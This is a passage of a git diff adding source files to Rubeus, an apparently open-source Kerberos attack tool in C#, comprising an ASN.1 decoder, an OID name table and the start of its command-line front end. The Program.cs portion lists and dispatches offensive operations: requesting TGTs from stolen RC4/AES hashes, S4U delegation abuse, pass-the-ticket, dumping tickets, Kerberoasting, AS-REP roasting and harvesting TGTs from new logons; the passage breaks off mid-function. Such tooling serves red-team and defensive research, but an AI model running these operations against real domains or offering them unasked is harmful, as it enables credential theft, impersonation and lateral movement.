+ return null;
+ }
+
+ /*
+ * Try to detect a PEM header and footer; if we find both
+ * then we remove both, keeping only the characters that
+ * occur in between.
+ */
+ int p = str.IndexOf("-----BEGIN ");
+ int q = str.IndexOf("-----END ");
+ if (p >= 0 && q >= 0) {
+ p += 11;
+ int r = str.IndexOf((char)10, p) + 1;
+ int px = str.IndexOf('-', p);
+ if (px > 0 && px < r && r > 0 && r <= q) {
+ pemType = string.Copy(str.Substring(p, px - p));
+ str = str.Substring(r, q - r);
+ }
+ }
+
+ /*
+ * Convert from Base64.
+ */
+ try {
+ buf = Convert.FromBase64String(str);
+ if (LooksLikeBER(buf, strictDER)) {
+ return buf;
+ }
+ } catch {
+ // ignored: not Base64
+ }
+
+ /*
+ * Decoding failed.
+ */
+ return null;
+ }
+
+ /* =============================================================== */
+
+ /*
+ * Decode a tag; returned value is true on success, false otherwise.
+ * On success, 'off' is updated to point to the first byte after
+ * the tag.
+ */
+ static bool DecodeTag(byte[] buf, int lim, ref int off)
+ {
+ int p = off;
+ if (p >= lim) {
+ return false;
+ }
+ int v = buf[p ++];
+ if ((v & 0x1F) == 0x1F) {
+ do {
+ if (p >= lim) {
+ return false;
+ }
+ v = buf[p ++];
+ } while ((v & 0x80) != 0);
+ }
+ off = p;
+ return true;
+ }
+
+ /*
+ * Decode a BER length. Returned value is:
+ * -2 no decodable length
+ * -1 indefinite length
+ * 0+ definite length
+ * If a definite or indefinite length could be decoded, then 'off'
+ * is updated to point to the first byte after the length.
+ */
+ static int DecodeLength(byte[] buf, int lim, ref int off)
+ {
+ int p = off;
+ if (p >= lim) {
+ return -2;
+ }
+ int v = buf[p ++];
+ if (v < 0x80) {
+ off = p;
+ return v;
+ } else if (v == 0x80) {
+ off = p;
+ return -1;
+ }
+ v &= 0x7F;
+ if ((lim - p) < v) {
+ return -2;
+ }
+ int acc = 0;
+ while (v -- > 0) {
+ if (acc > 0x7FFFFF) {
+ return -2;
+ }
+ acc = (acc << 8) + buf[p ++];
+ }
+ off = p;
+ return acc;
+ }
+
+ /*
+ * Get the length, in bytes, of the object in the provided
+ * buffer. The object begins at offset 'off' but does not extend
+ * farther than offset 'lim'. If no such BER object can be
+ * decoded, then -1 is returned. The returned length includes
+ * that of the tag and length fields.
+ */
+ static int BERLength(byte[] buf, int lim, int off)
+ {
+ int orig = off;
+ if (!DecodeTag(buf, lim, ref off)) {
+ return -1;
+ }
+ int len = DecodeLength(buf, lim, ref off);
+ if (len >= 0) {
+ if (len > (lim - off)) {
+ return -1;
+ }
+ return off + len - orig;
+ } else if (len < -1) {
+ return -1;
+ }
+
+ /*
+ * Indefinite length: we must do some recursive exploration.
+ * End of structure is marked by a "null tag": object has
+ * total length 2 and its tag byte is 0.
+ */
+ for (;;) {
+ int slen = BERLength(buf, lim, off);
+ if (slen < 0) {
+ return -1;
+ }
+ off += slen;
+ if (slen == 2 && buf[off] == 0) {
+ return off - orig;
+ }
+ }
+ }
+
+ static bool LooksLikeBER(byte[] buf, bool strictDER)
+ {
+ return LooksLikeBER(buf, 0, buf.Length, strictDER);
+ }
+
+ static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER)
+ {
+ int lim = off + len;
+ int objLen = BERLength(buf, lim, off);
+ if (objLen != len) {
+ return false;
+ }
+ if (strictDER) {
+ DecodeTag(buf, lim, ref off);
+ return DecodeLength(buf, lim, ref off) >= 0;
+ } else {
+ return true;
+ }
+ }
+
+ static string ConvertMono(byte[] buf, int off)
+ {
+ int len = buf.Length - off;
+ char[] tc = new char[len];
+ for (int i = 0; i < len; i ++) {
+ int v = buf[off + i];
+ if (v < 1 || v > 126) {
+ v = '?';
+ }
+ tc[i] = (char)v;
+ }
+ return new string(tc);
+ }
+
+ static string ConvertBi(byte[] buf, int off, bool be)
+ {
+ int len = buf.Length - off;
+ if ((len & 1) != 0) {
+ return null;
+ }
+ len >>= 1;
+ char[] tc = new char[len];
+ for (int i = 0; i < len; i ++) {
+ int b0 = buf[off + (i << 1) + 0];
+ int b1 = buf[off + (i << 1) + 1];
+ int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8));
+ if (v < 1 || v > 126) {
+ v = '?';
+ }
+ tc[i] = (char)v;
+ }
+ return new string(tc);
+ }
+}
+
+}
diff --git a/Rubeus/Asn1/AsnOID.cs b/Rubeus/Asn1/AsnOID.cs
new file mode 100755
index 00000000..d5a1ad7d
--- /dev/null
+++ b/Rubeus/Asn1/AsnOID.cs
@@ -0,0 +1,294 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace Asn1 {
+
+public class AsnOID {
+
+ static Dictionary OIDToName =
+ new Dictionary();
+ static Dictionary NameToOID =
+ new Dictionary();
+
+ static AsnOID()
+ {
+ /*
+ * From RFC 5280, PKIX1Explicit88 module.
+ */
+ Reg("1.3.6.1.5.5.7", "id-pkix");
+ Reg("1.3.6.1.5.5.7.1", "id-pe");
+ Reg("1.3.6.1.5.5.7.2", "id-qt");
+ Reg("1.3.6.1.5.5.7.3", "id-kp");
+ Reg("1.3.6.1.5.5.7.48", "id-ad");
+ Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps");
+ Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice");
+ Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp");
+ Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers");
+ Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping");
+ Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository");
+
+ Reg("2.5.4", "id-at");
+ Reg("2.5.4.41", "id-at-name");
+ Reg("2.5.4.4", "id-at-surname");
+ Reg("2.5.4.42", "id-at-givenName");
+ Reg("2.5.4.43", "id-at-initials");
+ Reg("2.5.4.44", "id-at-generationQualifier");
+ Reg("2.5.4.3", "id-at-commonName");
+ Reg("2.5.4.7", "id-at-localityName");
+ Reg("2.5.4.8", "id-at-stateOrProvinceName");
+ Reg("2.5.4.10", "id-at-organizationName");
+ Reg("2.5.4.11", "id-at-organizationalUnitName");
+ Reg("2.5.4.12", "id-at-title");
+ Reg("2.5.4.46", "id-at-dnQualifier");
+ Reg("2.5.4.6", "id-at-countryName");
+ Reg("2.5.4.5", "id-at-serialNumber");
+ Reg("2.5.4.65", "id-at-pseudonym");
+ Reg("0.9.2342.19200300.100.1.25", "id-domainComponent");
+
+ Reg("1.2.840.113549.1.9", "pkcs-9");
+ Reg("1.2.840.113549.1.9.1", "id-emailAddress");
+
+ /*
+ * From RFC 5280, PKIX1Implicit88 module.
+ */
+ Reg("2.5.29", "id-ce");
+ Reg("2.5.29.35", "id-ce-authorityKeyIdentifier");
+ Reg("2.5.29.14", "id-ce-subjectKeyIdentifier");
+ Reg("2.5.29.15", "id-ce-keyUsage");
+ Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod");
+ Reg("2.5.29.32", "id-ce-certificatePolicies");
+ Reg("2.5.29.33", "id-ce-policyMappings");
+ Reg("2.5.29.17", "id-ce-subjectAltName");
+ Reg("2.5.29.18", "id-ce-issuerAltName");
+ Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes");
+ Reg("2.5.29.19", "id-ce-basicConstraints");
+ Reg("2.5.29.30", "id-ce-nameConstraints");
+ Reg("2.5.29.36", "id-ce-policyConstraints");
+ Reg("2.5.29.31", "id-ce-cRLDistributionPoints");
+ Reg("2.5.29.37", "id-ce-extKeyUsage");
+
+ Reg("2.5.29.37.0", "anyExtendedKeyUsage");
+ Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth");
+ Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth");
+ Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning");
+ Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection");
+ Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping");
+ Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning");
+
+ Reg("2.5.29.54", "id-ce-inhibitAnyPolicy");
+ Reg("2.5.29.46", "id-ce-freshestCRL");
+ Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess");
+ Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess");
+ Reg("2.5.29.20", "id-ce-cRLNumber");
+ Reg("2.5.29.28", "id-ce-issuingDistributionPoint");
+ Reg("2.5.29.27", "id-ce-deltaCRLIndicator");
+ Reg("2.5.29.21", "id-ce-cRLReasons");
+ Reg("2.5.29.29", "id-ce-certificateIssuer");
+ Reg("2.5.29.23", "id-ce-holdInstructionCode");
+ Reg("2.2.840.10040.2", "WRONG-holdInstruction");
+ Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none");
+ Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer");
+ Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject");
+ Reg("2.5.29.24", "id-ce-invalidityDate");
+
+ /*
+ * These are the "right" OID. RFC 5280 mistakenly defines
+ * the first OID element as "2".
+ */
+ Reg("1.2.840.10040.2", "holdInstruction");
+ Reg("1.2.840.10040.2.1", "id-holdinstruction-none");
+ Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer");
+ Reg("1.2.840.10040.2.3", "id-holdinstruction-reject");
+
+ /*
+ * From PKCS#1.
+ */
+ Reg("1.2.840.113549.1.1", "pkcs-1");
+ Reg("1.2.840.113549.1.1.1", "rsaEncryption");
+ Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP");
+ Reg("1.2.840.113549.1.1.9", "id-pSpecified");
+ Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS");
+ Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption");
+ Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption");
+ Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption");
+ Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption");
+ Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption");
+ Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption");
+ Reg("1.3.14.3.2.26", "id-sha1");
+ Reg("1.2.840.113549.2.2", "id-md2");
+ Reg("1.2.840.113549.2.5", "id-md5");
+ Reg("1.2.840.113549.1.1.8", "id-mgf1");
+
+ /*
+ * From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html
+ */
+ Reg("2.16.840.1.101.3", "csor");
+ Reg("2.16.840.1.101.3.4", "nistAlgorithms");
+ Reg("2.16.840.1.101.3.4.0", "csorModules");
+ Reg("2.16.840.1.101.3.4.0.1", "aesModule1");
+
+ Reg("2.16.840.1.101.3.4.1", "aes");
+ Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB");
+ Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC");
+ Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB");
+ Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB");
+ Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap");
+ Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM");
+ Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM");
+ Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad");
+ Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB");
+ Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC");
+ Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB");
+ Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB");
+ Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap");
+ Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM");
+ Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM");
+ Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad");
+ Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB");
+ Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC");
+ Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB");
+ Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB");
+ Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap");
+ Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM");
+ Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM");
+ Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad");
+
+ Reg("2.16.840.1.101.3.4.2", "hashAlgs");
+ Reg("2.16.840.1.101.3.4.2.1", "id-sha256");
+ Reg("2.16.840.1.101.3.4.2.2", "id-sha384");
+ Reg("2.16.840.1.101.3.4.2.3", "id-sha512");
+ Reg("2.16.840.1.101.3.4.2.4", "id-sha224");
+ Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224");
+ Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256");
+
+ Reg("2.16.840.1.101.3.4.3", "sigAlgs");
+ Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224");
+ Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256");
+
+ Reg("1.2.840.113549", "rsadsi");
+ Reg("1.2.840.113549.2", "digestAlgorithm");
+ Reg("1.2.840.113549.2.7", "id-hmacWithSHA1");
+ Reg("1.2.840.113549.2.8", "id-hmacWithSHA224");
+ Reg("1.2.840.113549.2.9", "id-hmacWithSHA256");
+ Reg("1.2.840.113549.2.10", "id-hmacWithSHA384");
+ Reg("1.2.840.113549.2.11", "id-hmacWithSHA512");
+
+ /*
+ * From X9.57: http://oid-info.com/get/1.2.840.10040.4
+ */
+ Reg("1.2.840.10040.4", "x9algorithm");
+ Reg("1.2.840.10040.4", "x9cm");
+ Reg("1.2.840.10040.4.1", "dsa");
+ Reg("1.2.840.10040.4.3", "dsa-with-sha1");
+
+ /*
+ * From SEC: http://oid-info.com/get/1.3.14.3.2
+ */
+ Reg("1.3.14.3.2.2", "md4WithRSA");
+ Reg("1.3.14.3.2.3", "md5WithRSA");
+ Reg("1.3.14.3.2.4", "md4WithRSAEncryption");
+ Reg("1.3.14.3.2.12", "dsaSEC");
+ Reg("1.3.14.3.2.13", "dsaWithSHASEC");
+ Reg("1.3.14.3.2.27", "dsaWithSHA1SEC");
+
+ /*
+ * From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2
+ */
+ Reg("1.3.6.1.4.1.311.20.2", "ms-certType");
+ Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon");
+ Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName");
+ Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN");
+ }
+
+ static void Reg(string oid, string name)
+ {
+ if (!OIDToName.ContainsKey(oid)) {
+ OIDToName.Add(oid, name);
+ }
+ string nn = Normalize(name);
+ if (NameToOID.ContainsKey(nn)) {
+ throw new Exception("OID name collision: " + nn);
+ }
+ NameToOID.Add(nn, oid);
+
+ /*
+ * Many names start with 'id-??-' and we want to support
+ * the short names (without that prefix) as aliases. But
+ * we must take care of some collisions on short names.
+ */
+ if (name.StartsWith("id-")
+ && name.Length >= 7 && name[5] == '-')
+ {
+ if (name.StartsWith("id-ad-")) {
+ Reg(oid, name.Substring(6) + "-IA");
+ } else if (name.StartsWith("id-kp-")) {
+ Reg(oid, name.Substring(6) + "-EKU");
+ } else {
+ Reg(oid, name.Substring(6));
+ }
+ }
+ }
+
+ static string Normalize(string name)
+ {
+ StringBuilder sb = new StringBuilder();
+ foreach (char c in name) {
+ int d = (int)c;
+ if (d <= 32 || d == '-') {
+ continue;
+ }
+ if (d >= 'A' && d <= 'Z') {
+ d += 'a' - 'A';
+ }
+ sb.Append((char)c);
+ }
+ return sb.ToString();
+ }
+
+ public static string ToName(string oid)
+ {
+ return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid;
+ }
+
+ public static string ToOID(string name)
+ {
+ if (IsNumericOID(name)) {
+ return name;
+ }
+ string nn = Normalize(name);
+ if (!NameToOID.ContainsKey(nn)) {
+ throw new AsnException(
+ "unrecognized OID name: " + name);
+ }
+ return NameToOID[nn];
+ }
+
+ public static bool IsNumericOID(string oid)
+ {
+ /*
+ * An OID is in numeric format if:
+ * -- it contains only digits and dots
+ * -- it does not start or end with a dot
+ * -- it does not contain two consecutive dots
+ * -- it contains at least one dot
+ */
+ foreach (char c in oid) {
+ if (!(c >= '0' && c <= '9') && c != '.') {
+ return false;
+ }
+ }
+ if (oid.StartsWith(".") || oid.EndsWith(".")) {
+ return false;
+ }
+ if (oid.IndexOf("..") >= 0) {
+ return false;
+ }
+ if (oid.IndexOf('.') < 0) {
+ return false;
+ }
+ return true;
+ }
+}
+
+}
diff --git a/Rubeus/Program.cs b/Rubeus/Program.cs
new file mode 100755
index 00000000..6b56b10d
--- /dev/null
+++ b/Rubeus/Program.cs
@@ -0,0 +1,638 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Asn1;
+using System.IO;
+using System.Text.RegularExpressions;
+
+namespace Rubeus
+{
+ class Program
+ {
+ public static void Logo()
+ {
+ System.Console.WriteLine("\r\n ______ _ ");
+ System.Console.WriteLine(" (_____ \\ | | ");
+ System.Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
+ System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
+ System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
+ System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
+ System.Console.WriteLine(" v1.0.0\r\n");
+ }
+
+ public static void Usage()
+ {
+ Console.WriteLine("\r\n Rubeus usage:");
+ Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
+ Console.WriteLine(" Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
+ Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
+ Console.WriteLine(" Rubeus.exe asktgt /user:USER /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
+ Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:");
+ Console.WriteLine(" Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
+ Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
+ Console.WriteLine(" Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
+ Console.WriteLine(" Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
+ Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
+ Console.WriteLine(" Rubeus.exe ptt [/luid:LOGINID]");
+ Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
+ Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
+ Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
+ Console.WriteLine(" Rubeus.exe describe ");
+ Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
+ Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
+ Console.WriteLine("\r\n Perform Kerberoasting:");
+ Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
+ Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
+ Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
+ Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
+ Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
+ Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
+ Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
+ Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
+ Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
+ Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
+ Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
+
+ Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
+ Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
+ }
+
+ static void Main(string[] args)
+ {
+ Logo();
+
+ var arguments = new Dictionary();
+ foreach (string argument in args)
+ {
+ int idx = argument.IndexOf(':');
+ if (idx > 0)
+ {
+ arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
+ }
+ else
+ {
+ arguments[argument] = "";
+ }
+ }
+
+ if (arguments.ContainsKey("asktgt"))
+ {
+ string user = "";
+ string domain = "";
+ string hash = "";
+ string dc = "";
+ bool ptt = false;
+ uint luid = 0;
+ Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
+
+ if (arguments.ContainsKey("/user"))
+ {
+ user = arguments["/user"];
+ }
+ if (arguments.ContainsKey("/domain"))
+ {
+ domain = arguments["/domain"];
+ }
+ if (arguments.ContainsKey("/dc"))
+ {
+ dc = arguments["/dc"];
+ }
+ if (arguments.ContainsKey("/rc4"))
+ {
+ hash = arguments["/rc4"];
+ encType = Interop.KERB_ETYPE.rc4_hmac;
+ }
+ if (arguments.ContainsKey("/aes256"))
+ {
+ hash = arguments["/aes256"];
+ encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
+ }
+ if (arguments.ContainsKey("/ptt"))
+ {
+ ptt = true;
+ }
+
+ if (arguments.ContainsKey("/luid"))
+ {
+ try
+ {
+ luid = UInt32.Parse(arguments["/luid"]);
+ }
+ catch
+ {
+ try
+ {
+ luid = Convert.ToUInt32(arguments["/luid"], 16);
+ }
+ catch
+ {
+ Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
+ return;
+ }
+ }
+ }
+
+
+ if (arguments.ContainsKey("/createnetonly"))
+ {
+ // if we're starting a hidden process to apply the ticket to
+ if (!Helpers.IsHighIntegrity())
+ {
+ Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
+ return;
+ }
+ if (arguments.ContainsKey("/show"))
+ {
+ luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
+ }
+ else
+ {
+ luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
+ }
+ Console.WriteLine();
+ }
+
+ if (String.IsNullOrEmpty(user))
+ {
+ Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
+ return;
+ }
+ if (String.IsNullOrEmpty(domain))
+ {
+ domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
+ }
+ if (String.IsNullOrEmpty(hash))
+ {
+ Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
+ return;
+ }
+
+ if ( !((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) )
+ {
+ Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
+ return;
+ }
+ else
+ {
+ Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
+ return;
+ }
+ }
+
+ if (arguments.ContainsKey("renew"))
+ {
+ bool ptt = false;
+ string dc = "";
+
+ if (arguments.ContainsKey("/ptt"))
+ {
+ ptt = true;
+ }
+
+ if (arguments.ContainsKey("/dc"))
+ {
+ dc = arguments["/dc"];
+ }
+
+ if (arguments.ContainsKey("/ticket"))
+ {
+ string kirbi64 = arguments["/ticket"];
+
+ if (Helpers.IsBase64String(kirbi64))
+ {
+ byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ if (arguments.ContainsKey("/autorenew"))
+ {
+ // if we want to auto-renew the TGT up until the renewal limit
+ Renew.TGTAutoRenew(kirbi, dc);
+ }
+ else
+ {
+ // otherwise a single renew operation
+ byte[] blah = Renew.TGT(kirbi, ptt, dc);
+ }
+ }
+ else if (File.Exists(kirbi64))
+ {
+ byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ if (arguments.ContainsKey("/autorenew"))
+ {
+ // if we want to auto-renew the TGT up until the renewal limit
+ Renew.TGTAutoRenew(kirbi, dc);
+ }
+ else
+ {
+ // otherwise a single renew operation
+ byte[] blah = Renew.TGT(kirbi, ptt, dc);
+ }
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
+ }
+ return;
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
+ return;
+ }
+ }
+
+ if (arguments.ContainsKey("s4u"))
+ {
+ string targetUser = "";
+ string targetSPN = "";
+ string altSname = "";
+ string user = "";
+ string domain = "";
+ string hash = "";
+ bool ptt = false;
+ string dc = "";
+ Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
+
+ if (arguments.ContainsKey("/user"))
+ {
+ user = arguments["/user"];
+ }
+ if (arguments.ContainsKey("/domain"))
+ {
+ domain = arguments["/domain"];
+ }
+ if (arguments.ContainsKey("/ptt"))
+ {
+ ptt = true;
+ }
+ if (arguments.ContainsKey("/dc"))
+ {
+ dc = arguments["/dc"];
+ }
+ if (arguments.ContainsKey("/rc4"))
+ {
+ hash = arguments["/rc4"];
+ encType = Interop.KERB_ETYPE.rc4_hmac;
+ }
+ if (arguments.ContainsKey("/aes256"))
+ {
+ hash = arguments["/aes256"];
+ encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
+ }
+ if (arguments.ContainsKey("/impersonateuser"))
+ {
+ targetUser = arguments["/impersonateuser"];
+ }
+
+ if (arguments.ContainsKey("/msdsspn"))
+ {
+ targetSPN = arguments["/msdsspn"];
+ }
+
+ if (arguments.ContainsKey("/altservice"))
+ {
+ altSname = arguments["/altservice"];
+ }
+
+ if (String.IsNullOrEmpty(targetUser))
+ {
+ Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
+ return;
+ }
+ if (String.IsNullOrEmpty(targetSPN))
+ {
+ Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
+ return;
+ }
+
+ if (arguments.ContainsKey("/ticket"))
+ {
+ string kirbi64 = arguments["/ticket"];
+
+ if (Helpers.IsBase64String(kirbi64))
+ {
+ byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
+ }
+ else if (File.Exists(kirbi64))
+ {
+ byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
+ }
+ return;
+ }
+ else if (arguments.ContainsKey("/user"))
+ {
+ // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
+
+ user = arguments["/user"];
+
+ if (String.IsNullOrEmpty(hash))
+ {
+ Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
+ return;
+ }
+
+ S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
+ return;
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
+ Console.WriteLine("[X] Alternatively, supply a /user and hash to first retrieve a TGT.\r\n");
+ return;
+ }
+ }
+
+ if (arguments.ContainsKey("ptt"))
+ {
+ uint luid = 0;
+ if (arguments.ContainsKey("/luid"))
+ {
+ try
+ {
+ luid = UInt32.Parse(arguments["/luid"]);
+ }
+ catch
+ {
+ try
+ {
+ luid = Convert.ToUInt32(arguments["/luid"], 16);
+ }
+ catch
+ {
+ Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
+ return;
+ }
+ }
+ }
+
+ if (arguments.ContainsKey("/ticket"))
+ {
+ string kirbi64 = arguments["/ticket"];
+
+ if (Helpers.IsBase64String(kirbi64))
+ {
+ byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
+ LSA.ImportTicket(kirbiBytes, luid);
+ }
+ else if (File.Exists(kirbi64))
+ {
+ byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
+ LSA.ImportTicket(kirbiBytes, luid);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
+ }
+ return;
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
+ return;
+ }
+ }
+
+ if (arguments.ContainsKey("purge"))
+ {
+ uint luid = 0;
+ if (arguments.ContainsKey("/luid"))
+ {
+ try
+ {
+ luid = UInt32.Parse(arguments["/luid"]);
+ }
+ catch
+ {
+ try
+ {
